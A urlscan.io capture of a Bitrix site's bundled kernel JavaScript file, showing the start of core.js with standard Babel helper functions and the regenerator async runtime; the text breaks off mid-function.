freya-light.com Open in urlscan Pro
92.53.78.52  Public Scan

URL: https://freya-light.com/bitrix/cache/js/s1/furniture_red/kernel_main/kernel_main_v1.js?1668722867653050
Submission: On November 18 via api from RU — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

; /* /bitrix/js/main/core/core.js?1666075784567435*/
; /* /bitrix/js/main/core/core_promise.min.js?15428851632478*/
; /* /bitrix/js/main/core/core_ajax.min.js?154288516323760*/
; /* /bitrix/js/main/core/core_fx.min.js?15396162259768*/
; /* /bitrix/js/main/core/core_popup.min.js?154288506848272*/

; /* Start:"a:4:{s:4:"full";s:45:"/bitrix/js/main/core/core.js?1666075784567435";s:6:"source";s:28:"/bitrix/js/main/core/core.js";s:3:"min";s:0:"";s:3:"map";s:0:"";}"*/
;(function() {

	if (typeof window.BX === 'function')
	{
		return;
	}

	/**
	 * Babel external helpers
	 * (c) 2018 Babel
	 * @license MIT
	 */
	(function (global) {
		var babelHelpers = global.babelHelpers = {};

		function _typeof(obj) {
			if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
				babelHelpers.typeof = _typeof = function (obj) {
					return typeof obj;
				};
			} else {
				babelHelpers.typeof = _typeof = function (obj) {
					return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
				};
			}

			return _typeof(obj);
		}

		babelHelpers.typeof = _typeof;
		var REACT_ELEMENT_TYPE;

		function _createRawReactElement(type, props, key, children) {
			if (!REACT_ELEMENT_TYPE) {
				REACT_ELEMENT_TYPE = typeof Symbol === "function" && Symbol.for && Symbol.for("react.element") || 0xeac7;
			}

			var defaultProps = type && type.defaultProps;
			var childrenLength = arguments.length - 3;

			if (!props && childrenLength !== 0) {
				props = {
					children: void 0
				};
			}

			if (props && defaultProps) {
				for (var propName in defaultProps) {
					if (props[propName] === void 0) {
						props[propName] = defaultProps[propName];
					}
				}
			} else if (!props) {
				props = defaultProps || {};
			}

			if (childrenLength === 1) {
				props.children = children;
			} else if (childrenLength > 1) {
				var childArray = new Array(childrenLength);

				for (var i = 0; i < childrenLength; i++) {
					childArray[i] = arguments[i + 3];
				}

				props.children = childArray;
			}

			return {
				$$typeof: REACT_ELEMENT_TYPE,
				type: type,
				key: key === undefined ? null : '' + key,
				ref: null,
				props: props,
				_owner: null
			};
		}

		babelHelpers.jsx = _createRawReactElement;

		function _asyncIterator(iterable) {
			var method;

			if (typeof Symbol === "function") {
				if (Symbol.asyncIterator) {
					method = iterable[Symbol.asyncIterator];
					if (method != null) return method.call(iterable);
				}

				if (Symbol.iterator) {
					method = iterable[Symbol.iterator];
					if (method != null) return method.call(iterable);
				}
			}

			throw new TypeError("Object is not async iterable");
		}

		babelHelpers.asyncIterator = _asyncIterator;

		function _AwaitValue(value) {
			this.wrapped = value;
		}

		babelHelpers.AwaitValue = _AwaitValue;

		function AsyncGenerator(gen) {
			var front, back;

			function send(key, arg) {
				return new Promise(function (resolve, reject) {
					var request = {
						key: key,
						arg: arg,
						resolve: resolve,
						reject: reject,
						next: null
					};

					if (back) {
						back = back.next = request;
					} else {
						front = back = request;
						resume(key, arg);
					}
				});
			}

			function resume(key, arg) {
				try {
					var result = gen[key](arg);
					var value = result.value;
					var wrappedAwait = value instanceof babelHelpers.AwaitValue;
					Promise.resolve(wrappedAwait ? value.wrapped : value).then(function (arg) {
						if (wrappedAwait) {
							resume("next", arg);
							return;
						}

						settle(result.done ? "return" : "normal", arg);
					}, function (err) {
						resume("throw", err);
					});
				} catch (err) {
					settle("throw", err);
				}
			}

			function settle(type, value) {
				switch (type) {
					case "return":
						front.resolve({
							value: value,
							done: true
						});
						break;

					case "throw":
						front.reject(value);
						break;

					default:
						front.resolve({
							value: value,
							done: false
						});
						break;
				}

				front = front.next;

				if (front) {
					resume(front.key, front.arg);
				} else {
					back = null;
				}
			}

			this._invoke = send;

			if (typeof gen.return !== "function") {
				this.return = undefined;
			}
		}

		if (typeof Symbol === "function" && Symbol.asyncIterator) {
			AsyncGenerator.prototype[Symbol.asyncIterator] = function () {
				return this;
			};
		}

		AsyncGenerator.prototype.next = function (arg) {
			return this._invoke("next", arg);
		};

		AsyncGenerator.prototype.throw = function (arg) {
			return this._invoke("throw", arg);
		};

		AsyncGenerator.prototype.return = function (arg) {
			return this._invoke("return", arg);
		};

		babelHelpers.AsyncGenerator = AsyncGenerator;

		function _wrapAsyncGenerator(fn) {
			return function () {
				return new babelHelpers.AsyncGenerator(fn.apply(this, arguments));
			};
		}

		babelHelpers.wrapAsyncGenerator = _wrapAsyncGenerator;

		function _awaitAsyncGenerator(value) {
			return new babelHelpers.AwaitValue(value);
		}

		babelHelpers.awaitAsyncGenerator = _awaitAsyncGenerator;

		function _asyncGeneratorDelegate(inner, awaitWrap) {
			var iter = {},
				waiting = false;

			function pump(key, value) {
				waiting = true;
				value = new Promise(function (resolve) {
					resolve(inner[key](value));
				});
				return {
					done: false,
					value: awaitWrap(value)
				};
			}

			;

			if (typeof Symbol === "function" && Symbol.iterator) {
				iter[Symbol.iterator] = function () {
					return this;
				};
			}

			iter.next = function (value) {
				if (waiting) {
					waiting = false;
					return value;
				}

				return pump("next", value);
			};

			if (typeof inner.throw === "function") {
				iter.throw = function (value) {
					if (waiting) {
						waiting = false;
						throw value;
					}

					return pump("throw", value);
				};
			}

			if (typeof inner.return === "function") {
				iter.return = function (value) {
					return pump("return", value);
				};
			}

			return iter;
		}

		babelHelpers.asyncGeneratorDelegate = _asyncGeneratorDelegate;

		function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
			try {
				var info = gen[key](arg);
				var value = info.value;
			} catch (error) {
				reject(error);
				return;
			}

			if (info.done) {
				resolve(value);
			} else {
				Promise.resolve(value).then(_next, _throw);
			}
		}

		function _asyncToGenerator(fn) {
			return function () {
				var self = this,
					args = arguments;
				return new Promise(function (resolve, reject) {
					var gen = fn.apply(self, args);

					function _next(value) {
						asyncGeneratorStep(gen, resolve, reject, _next, _throw, "next", value);
					}

					function _throw(err) {
						asyncGeneratorStep(gen, resolve, reject, _next, _throw, "throw", err);
					}

					_next(undefined);
				});
			};
		}

		babelHelpers.asyncToGenerator = _asyncToGenerator;

		function _classCallCheck(instance, Constructor) {
			if (!(instance instanceof Constructor)) {
				throw new TypeError("Cannot call a class as a function");
			}
		}

		babelHelpers.classCallCheck = _classCallCheck;

		function _defineProperties(target, props) {
			for (var i = 0; i < props.length; i++) {
				var descriptor = props[i];
				descriptor.enumerable = descriptor.enumerable || false;
				descriptor.configurable = true;
				if ("value" in descriptor) descriptor.writable = true;
				Object.defineProperty(target, descriptor.key, descriptor);
			}
		}

		function _createClass(Constructor, protoProps, staticProps) {
			if (protoProps) _defineProperties(Constructor.prototype, protoProps);
			if (staticProps) _defineProperties(Constructor, staticProps);
			return Constructor;
		}

		babelHelpers.createClass = _createClass;

		function _defineEnumerableProperties(obj, descs) {
			for (var key in descs) {
				var desc = descs[key];
				desc.configurable = desc.enumerable = true;
				if ("value" in desc) desc.writable = true;
				Object.defineProperty(obj, key, desc);
			}

			if (Object.getOwnPropertySymbols) {
				var objectSymbols = Object.getOwnPropertySymbols(descs);

				for (var i = 0; i < objectSymbols.length; i++) {
					var sym = objectSymbols[i];
					var desc = descs[sym];
					desc.configurable = desc.enumerable = true;
					if ("value" in desc) desc.writable = true;
					Object.defineProperty(obj, sym, desc);
				}
			}

			return obj;
		}

		babelHelpers.defineEnumerableProperties = _defineEnumerableProperties;

		function _defaults(obj, defaults) {
			var keys = Object.getOwnPropertyNames(defaults);

			for (var i = 0; i < keys.length; i++) {
				var key = keys[i];
				var value = Object.getOwnPropertyDescriptor(defaults, key);

				if (value && value.configurable && obj[key] === undefined) {
					Object.defineProperty(obj, key, value);
				}
			}

			return obj;
		}

		babelHelpers.defaults = _defaults;

		function _defineProperty(obj, key, value) {
			if (key in obj) {
				Object.defineProperty(obj, key, {
					value: value,
					enumerable: true,
					configurable: true,
					writable: true
				});
			} else {
				obj[key] = value;
			}

			return obj;
		}

		babelHelpers.defineProperty = _defineProperty;

		function _extends() {
			babelHelpers.extends = _extends = Object.assign || function (target) {
				for (var i = 1; i < arguments.length; i++) {
					var source = arguments[i];

					for (var key in source) {
						if (Object.prototype.hasOwnProperty.call(source, key)) {
							target[key] = source[key];
						}
					}
				}

				return target;
			};

			return _extends.apply(this, arguments);
		}

		babelHelpers.extends = _extends;

		function _objectSpread(target) {
			for (var i = 1; i < arguments.length; i++) {
				var source = arguments[i] != null ? arguments[i] : {};
				var ownKeys = Object.keys(source);

				if (typeof Object.getOwnPropertySymbols === 'function') {
					ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {
						return Object.getOwnPropertyDescriptor(source, sym).enumerable;
					}));
				}

				ownKeys.forEach(function (key) {
					babelHelpers.defineProperty(target, key, source[key]);
				});
			}

			return target;
		}

		babelHelpers.objectSpread = _objectSpread;

		function _inherits(subClass, superClass) {
			if (typeof superClass !== "function" && superClass !== null) {
				throw new TypeError("Super expression must either be null or a function");
			}

			subClass.prototype = Object.create(superClass && superClass.prototype, {
				constructor: {
					value: subClass,
					writable: true,
					configurable: true
				}
			});
			if (superClass) babelHelpers.setPrototypeOf(subClass, superClass);
		}

		babelHelpers.inherits = _inherits;

		function _inheritsLoose(subClass, superClass) {
			subClass.prototype = Object.create(superClass.prototype);
			subClass.prototype.constructor = subClass;
			subClass.__proto__ = superClass;
		}

		babelHelpers.inheritsLoose = _inheritsLoose;

		function _getPrototypeOf(o) {
			babelHelpers.getPrototypeOf = _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
				return o.__proto__ || Object.getPrototypeOf(o);
			};
			return _getPrototypeOf(o);
		}

		babelHelpers.getPrototypeOf = _getPrototypeOf;

		function _setPrototypeOf(o, p) {
			babelHelpers.setPrototypeOf = _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
				o.__proto__ = p;
				return o;
			};

			return _setPrototypeOf(o, p);
		}

		babelHelpers.setPrototypeOf = _setPrototypeOf;

		function isNativeReflectConstruct() {
			if (typeof Reflect === "undefined" || !Reflect.construct) return false;
			if (Reflect.construct.sham) return false;
			if (typeof Proxy === "function") return true;

			try {
				Date.prototype.toString.call(Reflect.construct(Date, [], function () {}));
				return true;
			} catch (e) {
				return false;
			}
		}

		function _construct(Parent, args, Class) {
			if (isNativeReflectConstruct()) {
				babelHelpers.construct = _construct = Reflect.construct;
			} else {
				babelHelpers.construct = _construct = function _construct(Parent, args, Class) {
					var a = [null];
					a.push.apply(a, args);
					var Constructor = Function.bind.apply(Parent, a);
					var instance = new Constructor();
					if (Class) babelHelpers.setPrototypeOf(instance, Class.prototype);
					return instance;
				};
			}

			return _construct.apply(null, arguments);
		}

		babelHelpers.construct = _construct;

		function _isNativeFunction(fn) {
			return Function.toString.call(fn).indexOf("[native code]") !== -1;
		}

		babelHelpers.isNativeFunction = _isNativeFunction;

		function _wrapNativeSuper(Class) {
			var _cache = typeof Map === "function" ? new Map() : undefined;

			babelHelpers.wrapNativeSuper = _wrapNativeSuper = function _wrapNativeSuper(Class) {
				if (Class === null || !babelHelpers.isNativeFunction(Class)) return Class;

				if (typeof Class !== "function") {
					throw new TypeError("Super expression must either be null or a function");
				}

				if (typeof _cache !== "undefined") {
					if (_cache.has(Class)) return _cache.get(Class);

					_cache.set(Class, Wrapper);
				}

				function Wrapper() {
					return babelHelpers.construct(Class, arguments, babelHelpers.getPrototypeOf(this).constructor);
				}

				Wrapper.prototype = Object.create(Class.prototype, {
					constructor: {
						value: Wrapper,
						enumerable: false,
						writable: true,
						configurable: true
					}
				});
				return babelHelpers.setPrototypeOf(Wrapper, Class);
			};

			return _wrapNativeSuper(Class);
		}

		babelHelpers.wrapNativeSuper = _wrapNativeSuper;

		function _instanceof(left, right) {
			if (right != null && typeof Symbol !== "undefined" && right[Symbol.hasInstance]) {
				return right[Symbol.hasInstance](left);
			} else {
				return left instanceof right;
			}
		}

		babelHelpers.instanceof = _instanceof;

		function _interopRequireDefault(obj) {
			return obj && obj.__esModule ? obj : {
				default: obj
			};
		}

		babelHelpers.interopRequireDefault = _interopRequireDefault;

		function _interopRequireWildcard(obj) {
			if (obj && obj.__esModule) {
				return obj;
			} else {
				var newObj = {};

				if (obj != null) {
					for (var key in obj) {
						if (Object.prototype.hasOwnProperty.call(obj, key)) {
							var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {};

							if (desc.get || desc.set) {
								Object.defineProperty(newObj, key, desc);
							} else {
								newObj[key] = obj[key];
							}
						}
					}
				}

				newObj.default = obj;
				return newObj;
			}
		}

		babelHelpers.interopRequireWildcard = _interopRequireWildcard;

		function _newArrowCheck(innerThis, boundThis) {
			if (innerThis !== boundThis) {
				throw new TypeError("Cannot instantiate an arrow function");
			}
		}

		babelHelpers.newArrowCheck = _newArrowCheck;

		function _objectDestructuringEmpty(obj) {
			if (obj == null) throw new TypeError("Cannot destructure undefined");
		}

		babelHelpers.objectDestructuringEmpty = _objectDestructuringEmpty;

		function _objectWithoutPropertiesLoose(source, excluded) {
			if (source == null) return {};
			var target = {};
			var sourceKeys = Object.keys(source);
			var key, i;

			for (i = 0; i < sourceKeys.length; i++) {
				key = sourceKeys[i];
				if (excluded.indexOf(key) >= 0) continue;
				target[key] = source[key];
			}

			return target;
		}

		babelHelpers.objectWithoutPropertiesLoose = _objectWithoutPropertiesLoose;

		function _objectWithoutProperties(source, excluded) {
			if (source == null) return {};
			var target = babelHelpers.objectWithoutPropertiesLoose(source, excluded);
			var key, i;

			if (Object.getOwnPropertySymbols) {
				var sourceSymbolKeys = Object.getOwnPropertySymbols(source);

				for (i = 0; i < sourceSymbolKeys.length; i++) {
					key = sourceSymbolKeys[i];
					if (excluded.indexOf(key) >= 0) continue;
					if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
					target[key] = source[key];
				}
			}

			return target;
		}

		babelHelpers.objectWithoutProperties = _objectWithoutProperties;

		function _assertThisInitialized(self) {
			if (self === void 0) {
				throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
			}

			return self;
		}

		babelHelpers.assertThisInitialized = _assertThisInitialized;

		function _possibleConstructorReturn(self, call) {
			if (call && (typeof call === "object" || typeof call === "function")) {
				return call;
			}

			return babelHelpers.assertThisInitialized(self);
		}

		babelHelpers.possibleConstructorReturn = _possibleConstructorReturn;

		function _superPropBase(object, property) {
			while (!Object.prototype.hasOwnProperty.call(object, property)) {
				object = babelHelpers.getPrototypeOf(object);
				if (object === null) break;
			}

			return object;
		}

		babelHelpers.superPropBase = _superPropBase;

		function _get(target, property, receiver) {
			if (typeof Reflect !== "undefined" && Reflect.get) {
				babelHelpers.get = _get = Reflect.get;
			} else {
				babelHelpers.get = _get = function _get(target, property, receiver) {
					var base = babelHelpers.superPropBase(target, property);
					if (!base) return;
					var desc = Object.getOwnPropertyDescriptor(base, property);

					if (desc.get) {
						return desc.get.call(receiver);
					}

					return desc.value;
				};
			}

			return _get(target, property, receiver || target);
		}

		babelHelpers.get = _get;

		function set(target, property, value, receiver) {
			if (typeof Reflect !== "undefined" && Reflect.set) {
				set = Reflect.set;
			} else {
				set = function set(target, property, value, receiver) {
					var base = babelHelpers.superPropBase(target, property);
					var desc;

					if (base) {
						desc = Object.getOwnPropertyDescriptor(base, property);

						if (desc.set) {
							desc.set.call(receiver, value);
							return true;
						} else if (!desc.writable) {
							return false;
						}
					}

					desc = Object.getOwnPropertyDescriptor(receiver, property);

					if (desc) {
						if (!desc.writable) {
							return false;
						}

						desc.value = value;
						Object.defineProperty(receiver, property, desc);
					} else {
						babelHelpers.defineProperty(receiver, property, value);
					}

					return true;
				};
			}

			return set(target, property, value, receiver);
		}

		function _set(target, property, value, receiver, isStrict) {
			var s = set(target, property, value, receiver || target);

			if (!s && isStrict) {
				throw new Error('failed to set property');
			}

			return value;
		}

		babelHelpers.set = _set;

		function _taggedTemplateLiteral(strings, raw) {
			if (!raw) {
				raw = strings.slice(0);
			}

			return Object.freeze(Object.defineProperties(strings, {
				raw: {
					value: Object.freeze(raw)
				}
			}));
		}

		babelHelpers.taggedTemplateLiteral = _taggedTemplateLiteral;

		function _taggedTemplateLiteralLoose(strings, raw) {
			if (!raw) {
				raw = strings.slice(0);
			}

			strings.raw = raw;
			return strings;
		}

		babelHelpers.taggedTemplateLiteralLoose = _taggedTemplateLiteralLoose;

		function _temporalRef(val, name) {
			if (val === babelHelpers.temporalUndefined) {
				throw new ReferenceError(name + " is not defined - temporal dead zone");
			} else {
				return val;
			}
		}

		babelHelpers.temporalRef = _temporalRef;

		function _readOnlyError(name) {
			throw new Error("\"" + name + "\" is read-only");
		}

		babelHelpers.readOnlyError = _readOnlyError;

		function _classNameTDZError(name) {
			throw new Error("Class \"" + name + "\" cannot be referenced in computed property keys.");
		}

		babelHelpers.classNameTDZError = _classNameTDZError;
		babelHelpers.temporalUndefined = {};

		function _slicedToArray(arr, i) {
			return babelHelpers.arrayWithHoles(arr) || babelHelpers.iterableToArrayLimit(arr, i) || babelHelpers.nonIterableRest();
		}

		babelHelpers.slicedToArray = _slicedToArray;

		function _slicedToArrayLoose(arr, i) {
			return babelHelpers.arrayWithHoles(arr) || babelHelpers.iterableToArrayLimitLoose(arr, i) || babelHelpers.nonIterableRest();
		}

		babelHelpers.slicedToArrayLoose = _slicedToArrayLoose;

		function _toArray(arr) {
			return babelHelpers.arrayWithHoles(arr) || babelHelpers.iterableToArray(arr) || babelHelpers.nonIterableRest();
		}

		babelHelpers.toArray = _toArray;

		function _toConsumableArray(arr) {
			return babelHelpers.arrayWithoutHoles(arr) || babelHelpers.iterableToArray(arr) || babelHelpers.nonIterableSpread();
		}

		babelHelpers.toConsumableArray = _toConsumableArray;

		function _arrayWithoutHoles(arr) {
			if (Array.isArray(arr)) {
				for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) arr2[i] = arr[i];

				return arr2;
			}
		}

		babelHelpers.arrayWithoutHoles = _arrayWithoutHoles;

		function _arrayWithHoles(arr) {
			if (Array.isArray(arr)) return arr;
		}

		babelHelpers.arrayWithHoles = _arrayWithHoles;

		function _iterableToArray(iter) {
			if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter);
		}

		babelHelpers.iterableToArray = _iterableToArray;

		function _iterableToArrayLimit(arr, i) {
			var _arr = [];
			var _n = true;
			var _d = false;
			var _e = undefined;

			try {
				for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
					_arr.push(_s.value);

					if (i && _arr.length === i) break;
				}
			} catch (err) {
				_d = true;
				_e = err;
			} finally {
				try {
					if (!_n && _i["return"] != null) _i["return"]();
				} finally {
					if (_d) throw _e;
				}
			}

			return _arr;
		}

		babelHelpers.iterableToArrayLimit = _iterableToArrayLimit;

		function _iterableToArrayLimitLoose(arr, i) {
			var _arr = [];

			for (var _iterator = arr[Symbol.iterator](), _step; !(_step = _iterator.next()).done;) {
				_arr.push(_step.value);

				if (i && _arr.length === i) break;
			}

			return _arr;
		}

		babelHelpers.iterableToArrayLimitLoose = _iterableToArrayLimitLoose;

		function _nonIterableSpread() {
			throw new TypeError("Invalid attempt to spread non-iterable instance");
		}

		babelHelpers.nonIterableSpread = _nonIterableSpread;

		function _nonIterableRest() {
			throw new TypeError("Invalid attempt to destructure non-iterable instance");
		}

		babelHelpers.nonIterableRest = _nonIterableRest;

		function _skipFirstGeneratorNext(fn) {
			return function () {
				var it = fn.apply(this, arguments);
				it.next();
				return it;
			};
		}

		babelHelpers.skipFirstGeneratorNext = _skipFirstGeneratorNext;

		function _toPropertyKey(key) {
			if (typeof key === "symbol") {
				return key;
			} else {
				return String(key);
			}
		}

		babelHelpers.toPropertyKey = _toPropertyKey;

		function _initializerWarningHelper(descriptor, context) {
			throw new Error('Decorating class property failed. Please ensure that ' + 'proposal-class-properties is enabled and set to use loose mode. ' + 'To use proposal-class-properties in spec mode with decorators, wait for ' + 'the next major version of decorators in stage 2.');
		}

		babelHelpers.initializerWarningHelper = _initializerWarningHelper;

		function _initializerDefineProperty(target, property, descriptor, context) {
			if (!descriptor) return;
			Object.defineProperty(target, property, {
				enumerable: descriptor.enumerable,
				configurable: descriptor.configurable,
				writable: descriptor.writable,
				value: descriptor.initializer ? descriptor.initializer.call(context) : void 0
			});
		}

		babelHelpers.initializerDefineProperty = _initializerDefineProperty;

		function _applyDecoratedDescriptor(target, property, decorators, descriptor, context) {
			var desc = {};
			Object['ke' + 'ys'](descriptor).forEach(function (key) {
				desc[key] = descriptor[key];
			});
			desc.enumerable = !!desc.enumerable;
			desc.configurable = !!desc.configurable;

			if ('value' in desc || desc.initializer) {
				desc.writable = true;
			}

			desc = decorators.slice().reverse().reduce(function (desc, decorator) {
				return decorator(target, property, desc) || desc;
			}, desc);

			if (context && desc.initializer !== void 0) {
				desc.value = desc.initializer ? desc.initializer.call(context) : void 0;
				desc.initializer = undefined;
			}

			if (desc.initializer === void 0) {
				Object['define' + 'Property'](target, property, desc);
				desc = null;
			}

			return desc;
		}

		babelHelpers.applyDecoratedDescriptor = _applyDecoratedDescriptor;
		var id = 0;

		function _classPrivateFieldKey(name) {
			return "__private_" + id++ + "_" + name;
		}

		babelHelpers.classPrivateFieldLooseKey = _classPrivateFieldKey;

		function _classPrivateFieldBase(receiver, privateKey) {
			if (!Object.prototype.hasOwnProperty.call(receiver, privateKey)) {
				throw new TypeError("attempted to use private field on non-instance");
			}

			return receiver;
		}

		babelHelpers.classPrivateFieldLooseBase = _classPrivateFieldBase;

		function _classPrivateFieldGet(receiver, privateMap) {
			if (!privateMap.has(receiver)) {
				throw new TypeError("attempted to get private field on non-instance");
			}

			return privateMap.get(receiver).value;
		}

		babelHelpers.classPrivateFieldGet = _classPrivateFieldGet;

		function _classPrivateFieldSet(receiver, privateMap, value) {
			if (!privateMap.has(receiver)) {
				throw new TypeError("attempted to set private field on non-instance");
			}

			var descriptor = privateMap.get(receiver);

			if (!descriptor.writable) {
				throw new TypeError("attempted to set read only private field");
			}

			descriptor.value = value;
			return value;
		}

		babelHelpers.classPrivateFieldSet = _classPrivateFieldSet;
	})(typeof global === "undefined" ? window : global);

	/**
	 * Copyright (c) 2014-present, Facebook, Inc.
	 *
	 * This source code is licensed under the MIT license found in the
	 * LICENSE file in the root directory of this source tree.
	 */

	!(function(global) {
		"use strict";

		var Op = Object.prototype;
		var hasOwn = Op.hasOwnProperty;
		var undefined; // More compressible than void 0.
		var $Symbol = typeof Symbol === "function" ? Symbol : {};
		var iteratorSymbol = $Symbol.iterator || "@@iterator";
		var asyncIteratorSymbol = $Symbol.asyncIterator || "@@asyncIterator";
		var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag";

		// Define the runtime globally (as expected by generated code) as either
		// module.exports (if we're in a module) or a new, empty object.
		var runtime = global.regeneratorRuntime = {};

		function wrap(innerFn, outerFn, self, tryLocsList) {
			// If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator.
			var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator;
			var generator = Object.create(protoGenerator.prototype);
			var context = new Context(tryLocsList || []);

			// The ._invoke method unifies the implementations of the .next,
			// .throw, and .return methods.
			generator._invoke = makeInvokeMethod(innerFn, self, context);

			return generator;
		}
		runtime.wrap = wrap;

		// Try/catch helper to minimize deoptimizations. Returns a completion
		// record like context.tryEntries[i].completion. This interface could
		// have been (and was previously) designed to take a closure to be
		// invoked without arguments, but in all the cases we care about we
		// already have an existing method we want to call, so there's no need
		// to create a new function object. We can even get away with assuming
		// the method takes exactly one argument, since that happens to be true
		// in every case, so we don't have to touch the arguments object. The
		// only additional allocation required is the completion record, which
		// has a stable shape and so hopefully should be cheap to allocate.
		function tryCatch(fn, obj, arg) {
			try {
				return { type: "normal", arg: fn.call(obj, arg) };
			} catch (err) {
				return { type: "throw", arg: err };
			}
		}

		var GenStateSuspendedStart = "suspendedStart";
		var GenStateSuspendedYield = "suspendedYield";
		var GenStateExecuting = "executing";
		var GenStateCompleted = "completed";

		// Returning this object from the innerFn has the same effect as
		// breaking out of the dispatch switch statement.
		var ContinueSentinel = {};

		// Dummy constructor functions that we use as the .constructor and
		// .constructor.prototype properties for functions that return Generator
		// objects. For full spec compliance, you may wish to configure your
		// minifier not to mangle the names of these two functions.
		function Generator() {}
		function GeneratorFunction() {}
		function GeneratorFunctionPrototype() {}

		// This is a polyfill for %IteratorPrototype% for environments that
		// don't natively support it.
		var IteratorPrototype = {};
		IteratorPrototype[iteratorSymbol] = function () {
			return this;
		};

		var getProto = Object.getPrototypeOf;
		var NativeIteratorPrototype = getProto && getProto(getProto(values([])));
		if (NativeIteratorPrototype &&
			NativeIteratorPrototype !== Op &&
			hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) {
			// This environment has a native %IteratorPrototype%; use it instead
			// of the polyfill.
			IteratorPrototype = NativeIteratorPrototype;
		}

		var Gp = GeneratorFunctionPrototype.prototype =
			Generator.prototype = Object.create(IteratorPrototype);
		GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype;
		GeneratorFunctionPrototype.constructor = GeneratorFunction;
		GeneratorFunctionPrototype[toStringTagSymbol] =
			GeneratorFunction.displayName = "GeneratorFunction";

		// Helper for defining the .next, .throw, and .return methods of the
		// Iterator interface in terms of a single ._invoke method.
		function defineIteratorMethods(prototype) {
			["next", "throw", "return"].forEach(function(method) {
				prototype[method] = function(arg) {
					return this._invoke(method, arg);
				};
			});
		}

		runtime.isGeneratorFunction = function(genFun) {
			var ctor = typeof genFun === "function" && genFun.constructor;
			return ctor
				? ctor === GeneratorFunction ||
				// For the native GeneratorFunction constructor, the best we can
				// do is to check its .name property.
				(ctor.displayName || ctor.name) === "GeneratorFunction"
				: false;
		};

		runtime.mark = function(genFun) {
			if (Object.setPrototypeOf) {
				Object.setPrototypeOf(genFun, GeneratorFunctionPrototype);
			} else {
				genFun.__proto__ = GeneratorFunctionPrototype;
				if (!(toStringTagSymbol in genFun)) {
					genFun[toStringTagSymbol] = "GeneratorFunction";
				}
			}
			genFun.prototype = Object.create(Gp);
			return genFun;
		};

		// Within the body of any async function, `await x` is transformed to
		// `yield regeneratorRuntime.awrap(x)`, so that the runtime can test
		// `hasOwn.call(value, "__await")` to determine if the yielded value is
		// meant to be awaited.
		runtime.awrap = function(arg) {
			return { __await: arg };
		};

		function AsyncIterator(generator) {
			function invoke(method, arg, resolve, reject) {
				var record = tryCatch(generator[method], generator, arg);
				if (record.type === "throw") {
					reject(record.arg);
				} else {
					var result = record.arg;
					var value = result.value;
					if (value &&
						typeof value === "object" &&
						hasOwn.call(value, "__await")) {
						return Promise.resolve(value.__await).then(function(value) {
							invoke("next", value, resolve, reject);
						}, function(err) {
							invoke("throw", err, resolve, reject);
						});
					}

					return Promise.resolve(value).then(function(unwrapped) {
						// When a yielded Promise is resolved, its final value becomes
						// the .value of the Promise<{value,done}> result for the
						// current iteration. If the Promise is rejected, however, the
						// result for this iteration will be rejected with the same
						// reason. Note that rejections of yielded Promises are not
						// thrown back into the generator function, as is the case
						// when an awaited Promise is rejected. This difference in
						// behavior between yield and await is important, because it
						// allows the consumer to decide what to do with the yielded
						// rejection (swallow it and continue, manually .throw it back
						// into the generator, abandon iteration, whatever). With
						// await, by contrast, there is no opportunity to examine the
						// rejection reason outside the generator function, so the
						// only option is to throw it from the await expression, and
						// let the generator function handle the exception.
						result.value = unwrapped;
						resolve(result);
					}, reject);
				}
			}

			var previousPromise;

			function enqueue(method, arg) {
				function callInvokeWithMethodAndArg() {
					return new Promise(function(resolve, reject) {
						invoke(method, arg, resolve, reject);
					});
				}

				return previousPromise =
					// If enqueue has been called before, then we want to wait until
					// all previous Promises have been resolved before calling invoke,
					// so that results are always delivered in the correct order. If
					// enqueue has not been called before, then it is important to
					// call invoke immediately, without waiting on a callback to fire,
					// so that the async generator function has the opportunity to do
					// any necessary setup in a predictable way. This predictability
					// is why the Promise constructor synchronously invokes its
					// executor callback, and why async functions synchronously
					// execute code before the first await. Since we implement simple
					// async functions in terms of async generators, it is especially
					// important to get this right, even though it requires care.
					previousPromise ? previousPromise.then(
						callInvokeWithMethodAndArg,
						// Avoid propagating failures to Promises returned by later
						// invocations of the iterator.
						callInvokeWithMethodAndArg
					) : callInvokeWithMethodAndArg();
			}

			// Define the unified helper method that is used to implement .next,
			// .throw, and .return (see defineIteratorMethods).
			this._invoke = enqueue;
		}

		defineIteratorMethods(AsyncIterator.prototype);
		AsyncIterator.prototype[asyncIteratorSymbol] = function () {
			return this;
		};
		runtime.AsyncIterator = AsyncIterator;

		// Note that simple async functions are implemented on top of
		// AsyncIterator objects; they just return a Promise for the value of
		// the final result produced by the iterator.
		runtime.async = function(innerFn, outerFn, self, tryLocsList) {
			var iter = new AsyncIterator(
				wrap(innerFn, outerFn, self, tryLocsList)
			);

			return runtime.isGeneratorFunction(outerFn)
				? iter // If outerFn is a generator, return the full iterator.
				: iter.next().then(function(result) {
					return result.done ? result.value : iter.next();
				});
		};

		function makeInvokeMethod(innerFn, self, context) {
			var state = GenStateSuspendedStart;

			return function invoke(method, arg) {
				if (state === GenStateExecuting) {
					throw new Error("Generator is already running");
				}

				if (state === GenStateCompleted) {
					if (method === "throw") {
						throw arg;
					}

					// Be forgiving, per 25.3.3.3.3 of the spec:
					// https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume
					return doneResult();
				}

				context.method = method;
				context.arg = arg;

				while (true) {
					var delegate = context.delegate;
					if (delegate) {
						var delegateResult = maybeInvokeDelegate(delegate, context);
						if (delegateResult) {
							if (delegateResult === ContinueSentinel) continue;
